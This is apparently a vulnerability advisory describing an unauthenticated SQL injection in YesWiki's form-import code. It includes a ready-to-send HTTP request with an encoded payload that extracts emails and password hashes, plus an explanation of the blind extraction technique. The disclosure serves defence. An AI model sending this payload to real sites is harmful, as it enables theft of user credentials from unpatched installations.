YesWiki: Unauthenticated SQL Injection

Summary

An unauthenticated SQL injection in the Bazar form-import path (FormManager::create()) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an INSERT statement and read the full database, including yeswiki_users.password hashes. Present in 4.6.1 / 4.6.2 / current doryphore-dev; analyzed against upstream commit 1f485c049db030b94c047ec219e63534ac81142e.

Details

Sink is at FormManager::create() (function at L232), unquoted concatenation of bn_id_nature into the INSERT VALUES list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258

Reachability is unauthenticated.

PoC

1. Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)
2. Bring up the service using docker: cd docker && docker compose build && docker compose up
3. Go to https://localhost:8085
4. Go through the installation
5. Run the POC: yeswiki_sqli_poc.py

Impact

Sql injection. An attacker can dump the whole db, including usernames, emails, and hashed passwords.

More details

Sample http request (copied from burp):

POST /?BazaR&vue=formulaire HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 353
Host: localhost:8085
User-Agent: Python-urllib/3.13
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D

POC internals:

The PoC uses an expression like: 7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))

Breakdown SELECT HEX(VERSION()) or whatever the statement is (the poc file dumps 1 username and password) This gets the database version and hex-encodes it. Example:

VERSION()      = 9.7.0
HEX(VERSION()) = 392E372E30

Then: SUBSTRING((SELECT HEX(VERSION())), 1, 1) takes one character from that hex string. For position 1, this returns 3, then: ASCII(...) converts that character to its ASCII code: ASCII('3') = 51 Then: 7330000 + 51 produces 7330051 So the full vulnerable insert becomes roughly:

INSERT INTO yeswiki_nature (..., bn_id_nature, ...)
VALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), "fr-FR", ...);

MySQL evaluates the expression before storing it, so the inserted row has: bn_id_nature = 7330051 The PoC reads that ID from /?api/forms, subtracts 7330000, gets 51, converts 51 back to '3', and repeats for the next character.